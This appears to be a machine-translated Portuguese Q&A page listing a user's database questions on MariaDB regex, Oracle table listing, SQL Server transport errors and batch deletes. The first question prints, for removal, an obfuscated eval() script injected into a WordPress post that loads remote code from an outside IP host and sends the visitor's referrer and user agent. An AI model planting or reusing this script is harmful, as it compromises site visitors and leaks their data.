AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • Início
  • system&network
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • Início
  • system&network
    • Recentes
    • Highest score
    • tags
  • Ubuntu
    • Recentes
    • Highest score
    • tags
  • Unix
    • Recentes
    • tags
  • DBA
    • Recentes
    • tags
  • Computer
    • Recentes
    • tags
  • Coding
    • Recentes
    • tags
Início / user-32808

NealWalters's questions

Martin Hope
NealWalters
Asked: 2019-04-15 11:06:17 +0800 CST

RegEx multilinha MariaDB

  • 0

Estou executando uma consulta SQL no MariaDB no PHPMyAdmin da seguinte forma:

select REGEXP_REPLACE(post_content,'(?m)<noindex>[.\r\n]*</noindex>','') from wp_posts where ID = 318

Estou tentando remover algum script de hacker de um post do WordPress, tudo entre a tag inicial noindex e a tag final noindex, mas a tag final noindex está na segunda linha. Primeiro, quero testar o RegEx com uma consulta e depois executar uma atualização. Não consigo fazê-lo funcionar a menos que limite as alterações a uma linha.

A coluna post_content é definida como LongText.

I <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytkty|var|u0026u|referrer|ezezh||js|php'.split('|'),0,{}))
</script></noindex> was looking to accomplish etc... etc...

O mesmo regex funciona bem no NotePad++ quando eu verifico a opção "Multiline".

Eu olhei para um download do banco de dados no meu disco rígido local para determinar o que realmente está lá - não tenho certeza se isso adiciona algo ou não:

insira a descrição da imagem aqui Eu estava pensando que talvez PHP-MyAdmin ou WordPress estivessem usando
ou de alguma forma escondendo o valor real. Mas acho que mesmo no backupdownload/eles representam a nova linha como \n como um valor literal em vez de hexadecimal.

Se eu copiar o valor de texto longo do PhpMyAdmin para o NotePad++ e ativar os símbolos de exibição, fica assim: insira a descrição da imagem aqui É por isso que acho que o retorno de carro/alimentação de linha é realmente armazenado no valor da coluna de texto longo.

Versão: 10.1.38-MariaDB

mariadb-10.1
  • 1 respostas
  • 485 Views
Martin Hope
NealWalters
Asked: 2014-12-19 13:24:41 +0800 CST

Enumerar tabelas Oracle em PLSQL

  • 0

Como você executa uma consulta para listar todas as tabelas ou todas as tabelas onde tableName como '%abc%'.

Apenas fuçando, tentei o seguinte sem sucesso:

select * from SYS.TAB$
select * from SYS.OBJ$ where Name like '%abc%'

Estou tentando reaprender no Oracle algumas coisas básicas que sei no MSSQL.

oracle plsql
  • 1 respostas
  • 206 Views
Martin Hope
NealWalters
Asked: 2014-02-21 11:44:09 +0800 CST

Um caso difícil de "Ocorreu um erro de nível de transporte ao receber resultados do servidor" SQL Server

  • 7

Estamos construindo um novo cluster BizTalk, com dois BizTalk Application Servers e dois SQL Servers. Do SSMS no BizTalk AppServer #1 (e similarmente do #2), temos dois cenários:

  1. Atual - nossa equipe de infraestrutura acaba de reconstruir o Windows 2012/R2. Ele não pode se conectar a um SQL Server específico, mas pode se conectar a outros. A parte desconcertante é que qualquer outra máquina parece ser capaz de se conectar ao mesmo SQL Server perfeitamente e também executar consultas nele.

  2. Ontem - (Nós reconstruímos a caixa desde ontem, então não podemos voltar... só queria descrever os problemas.) Parecia estar se conectando esporadicamente. Quando ele foi conectado, tentei algumas consultas, criei um banco de dados e uma tabela de teste e tentei o seguinte:

Código:

declare @MaxLoops int = 100
declare @LoopCounter int = 0 

while (@LoopCounter < @MaxLoops) 
begin 
     set @LoopCounter = @LoopCounter + 1 

     --select SYSDATETIME(), * from NealTest.dbo.NealTest
     waitfor delay '00:00:01' 
     print @LoopCounter 
     print SYSDATETIME() 
end 

Minha intenção original do script era ver se perdíamos as conexões depois que ele "rolava", em outras palavras, eu poderia configurá-lo e aumentar o @MaxLoopse deixá-lo rodar por uma hora ou algo assim. (Também poderia adicionar try/catch para ajudá-lo a continuar para ver se havia problemas de conectividade esporádicos.)

O script (com a Selectdeclaração comentada) deu uma

Erro no nível de transporte

Então começamos a destacar uma ou duas linhas de cada vez. A declaração funcionou bem e pude imprimir os valores após a declaração. Quando baixamos o @MaxLoopspara 5, ele realmente funcionou. Aumentamos para 15 com falha Transport-level error. O mesmo script é executado bem (até @MaxLoops = 1000) de qualquer outro cliente no cliente SSMS 2008 ou 2012 em execução no mesmo SQL Server.

Isso me levou a pensar que o tamanho do pacote envolvido pode ter sido o problema. Coloquei cerca de 20 linhas de dados com 40 bytes por linha e consegui selecionar a tabela inteira, o que parecia anular a ideia de que o tamanho do pacote era o problema.

Além disso, a partir do BizTalk App Server nº 1, podemos usar o SSMS para conectar a qualquer outro SQL Server em nossa loja e funciona bem. Portanto, o problema parece estar especificamente entre esses dois pares de servidores.

Estamos presos, tentando decidir se devemos ligar para a Microsoft, reconstruir o SQL Server ou o quê.

O servidor SQL @@Versioné

Microsoft SQL Server 2012 (SP1) - 11.0.3128.0 (X64)
28 de dezembro de 2012 20:23:12
Copyright (c) Microsoft Corporation Standard Edition (64 bits) no Windows NT 6.2 (Build 9200: )

O problema original era que o utilitário de configuração do BizTalk apresentava os mesmos "erros no nível de transporte". No cenário atual, o BizTalk nem está instalado. Se o SSMS não puder se conectar, não esperamos que o BizTalk se conecte.

Não há firewall entre esses servidores internos. Algum GroupPolicy poderia ter algum impacto?

sql-server errors
  • 2 respostas
  • 2557 Views
Martin Hope
NealWalters
Asked: 2014-01-24 12:22:09 +0800 CST

Pesquisando todos os procedimentos armazenados para uma atualização de uma coluna específica

  • 3

Estou olhando para uma tabela de auditoria criada por um gatilho e fomos inteligentes o suficiente para salvar o SUSER_NAME();que temos uma coluna chamada LastUpdateRef, mas nem todo código antigo foi atualizado para usá-lo (é um código exclusivo para ajudar a rastrear as atualizações de volta ao código que os causou).

Então eu sei que alguém está atualizando, por exemplo, TerminalIdna Transactiontabela. Como eu responderia a isso?

Mostre-me todos os procedimentos armazenados que possuem uma instrução de atualização na tabela de transação que altera explicitamente o TerminalId

Parece que isso estaria além de qualquer RegEx que seria fácil de escrever.

Algumas instruções de atualização estão neste formato, onde o nome da tabela está após FROM:

update a
set 
    ArrivalDate = @ArrivalDateLocalTime,
    LastUpdate = SYSDATETIME(),
    LastUpdateRef = 'REFGFI168',
    LastUpdateBy = @UserID
from Flight a where etc... 
stored-procedures sql-server-2008-r2
  • 1 respostas
  • 2495 Views
Martin Hope
NealWalters
Asked: 2014-01-14 14:51:27 +0800 CST

Como substituir "definir contagem de linhas"

  • 4

Atualmente no SQL Server 2008/R2. Acabei de ler aqui que "definir contagem de linhas" está sendo preterido em algumas versões posteriores a 2012: http://technet.microsoft.com/en-us/library/ms188774.aspx

Temos algum código herdado que o usa presumivelmente para excluir pequenos blocos de dados e minimizar o bloqueio em nosso trabalho noturno "Data Purge".

Sem rowcount, eu teria que usar "top xxx"?

  set rowcount 1000 /* Only delete this number of rows at a time */;
  declare @short_time datetime2 = DATEADD(week,-1,SYSUTCDATETIME());


      SET @TotalRowCount = 0 
      while ( select COUNT(1) from FlightAudit with (nolock) ) > @min_row_count
      begin
            delete FlightAudit where CreatedUTC < @short_time;
            SET @SaveRowCount = @@ROWCOUNT 
            SET @TotalRowCount = @TotalRowCount + @SaveRowCount 
            if @SaveRowCount=0 break;
            print 'delete from FuelerCertificationAudit...' + convert(varchar(10),@SaveRowCount) + ' Time=' + dbo.DateOrNullToChar(getdate()) 
      end
      print 'Total deleted from FlightAudit...' + convert(varchar(10),@TotalRowCount) + ' Time=' + dbo.DateOrNullToChar(getdate()) 
sql-server t-sql
  • 1 respostas
  • 2520 Views
Martin Hope
NealWalters
Asked: 2014-01-14 09:33:09 +0800 CST

24x7 vs Janela Noturna

  • 19

Onde posso encontrar recursos sobre como passar para uma operação 24 horas por dia, 7 dias por semana? Como as grandes empresas com grandes bancos de dados conseguem isso? Nossos trabalhos noturnos, como

  1. limpar dados antigos
  2. reindexar
  3. atualizar estatísticas

todos parecem causar um impacto crítico em nosso sistema ( ou seja , usuários online e feeds de dados em tempo real). Já procurei na Amazon algum livro relacionado a esse assunto, e até agora não encontrei nada.

sql-server
  • 1 respostas
  • 1265 Views

Sidebar

Stats

  • Perguntas 205573
  • respostas 270741
  • best respostas 135370
  • utilizador 68524
  • Highest score
  • respostas
  • Marko Smith

    conectar ao servidor PostgreSQL: FATAL: nenhuma entrada pg_hba.conf para o host

    • 12 respostas
  • Marko Smith

    Como fazer a saída do sqlplus aparecer em uma linha?

    • 3 respostas
  • Marko Smith

    Selecione qual tem data máxima ou data mais recente

    • 3 respostas
  • Marko Smith

    Como faço para listar todos os esquemas no PostgreSQL?

    • 4 respostas
  • Marko Smith

    Listar todas as colunas de uma tabela especificada

    • 5 respostas
  • Marko Smith

    Como usar o sqlplus para se conectar a um banco de dados Oracle localizado em outro host sem modificar meu próprio tnsnames.ora

    • 4 respostas
  • Marko Smith

    Como você mysqldump tabela (s) específica (s)?

    • 4 respostas
  • Marko Smith

    Listar os privilégios do banco de dados usando o psql

    • 10 respostas
  • Marko Smith

    Como inserir valores em uma tabela de uma consulta de seleção no PostgreSQL?

    • 4 respostas
  • Marko Smith

    Como faço para listar todos os bancos de dados e tabelas usando o psql?

    • 7 respostas
  • Martin Hope
    Jin conectar ao servidor PostgreSQL: FATAL: nenhuma entrada pg_hba.conf para o host 2014-12-02 02:54:58 +0800 CST
  • Martin Hope
    Stéphane Como faço para listar todos os esquemas no PostgreSQL? 2013-04-16 11:19:16 +0800 CST
  • Martin Hope
    Mike Walsh Por que o log de transações continua crescendo ou fica sem espaço? 2012-12-05 18:11:22 +0800 CST
  • Martin Hope
    Stephane Rolland Listar todas as colunas de uma tabela especificada 2012-08-14 04:44:44 +0800 CST
  • Martin Hope
    haxney O MySQL pode realizar consultas razoavelmente em bilhões de linhas? 2012-07-03 11:36:13 +0800 CST
  • Martin Hope
    qazwsx Como posso monitorar o andamento de uma importação de um arquivo .sql grande? 2012-05-03 08:54:41 +0800 CST
  • Martin Hope
    markdorison Como você mysqldump tabela (s) específica (s)? 2011-12-17 12:39:37 +0800 CST
  • Martin Hope
    Jonas Como posso cronometrar consultas SQL usando psql? 2011-06-04 02:22:54 +0800 CST
  • Martin Hope
    Jonas Como inserir valores em uma tabela de uma consulta de seleção no PostgreSQL? 2011-05-28 00:33:05 +0800 CST
  • Martin Hope
    Jonas Como faço para listar todos os bancos de dados e tabelas usando o psql? 2011-02-18 00:45:49 +0800 CST

Hot tag

sql-server mysql postgresql sql-server-2014 sql-server-2016 oracle sql-server-2008 database-design query-performance sql-server-2017

Explore

  • Início
  • Perguntas
    • Recentes
    • Highest score
  • tag
  • help

Footer

AskOverflow.Dev

About Us

  • About Us
  • Contact Us

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve